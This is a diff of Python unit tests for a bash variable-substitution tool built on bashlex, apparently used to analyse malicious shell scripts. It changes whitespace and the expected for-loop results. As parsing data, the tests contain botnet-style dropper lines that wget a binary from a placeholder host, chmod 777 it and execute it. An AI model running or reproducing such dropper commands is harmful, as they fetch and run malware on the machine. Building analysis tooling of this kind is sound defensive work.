@@ -45,10 +45,9 @@ def test_variable_replacement_functions(self):
45
45
result_strings = bashlex .parse ('for a in "arm arm5 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"\n do\n rm -rf arm\n wget http://127.0.0.1/words/arm -O\n chmod 777 arm\n ./arm ssh\n done' ) \
46
46
+ bashlex .parse ('for a in "arm arm5 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"\n do\n rm -rf arm5\n wget http://127.0.0.1/words/arm5 -O\n chmod 777 arm5\n ./arm5 ssh\n done' ) \
47
47
+ bashlex .parse ('for a in "arm arm5 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"\n do\n rm -rf aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n wget http://127.0.0.1/words/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa -O\n chmod 777 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n ./aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ssh\n done' )
48
-
48
+
49
49
replaced_nodes = substitute_variables (for_node , var_list )
50
50
self .assertTrue (replaced_nodes == result_strings )
51
-
52
51
# Test that list nodes replaced and returned properly
53
52
nodes = bashlex .parse ('n=1;a=2$n' )
54
53
result_nodes = bashlex .parse ('n=1;a=21' )
@@ -97,7 +96,7 @@ def test_update_variable_list(self):
97
96
# Test for loops work with variable replacement
98
97
for_node = bashlex .parse ('for a in "$n"\n do\n echo something\n done' )[0 ].list [0 ]
99
98
new_var_list = update_var_list_with_for_loop (for_node , {'n' :['one two three' ]})
100
- self .assertTrue (new_var_list == {'n' :['one two three' ], 'a' :['one two three' ]})
99
+ self .assertTrue (new_var_list == {'n' :['one two three' ], 'a' :['one' , ' two' , ' three' ]})
101
100
# Test for loops work with command substitution
102
101
for_node = bashlex .parse ('for a in "$(echo this)"\n do\n echo something\n done' )[0 ].list [0 ]
103
102
new_var_list = update_var_list_with_for_loop (for_node , {})
@@ -123,7 +122,7 @@ def test_update_var_list_with_for_loop(self):
123
122
# Test for loops work with variable replacement
124
123
for_node = bashlex .parse ('for a in "$n"\n do\n echo something\n done' )[0 ].list [0 ]
125
124
new_var_list = update_var_list_with_for_loop (for_node , {'n' :['one two three' ]})
126
- self .assertTrue (new_var_list == {'n' :['one two three' ], 'a' :['one two three' ]})
125
+ self .assertTrue (new_var_list == {'n' :['one two three' ], 'a' :['one' , ' two' , ' three' ]})
127
126
# Test for loops work with command substitution
128
127
for_node = bashlex .parse ('for a in "$(echo this)"\n do\n echo something\n done' )[0 ].list [0 ]
129
128
new_var_list = update_var_list_with_for_loop (for_node , {})
0 commit comments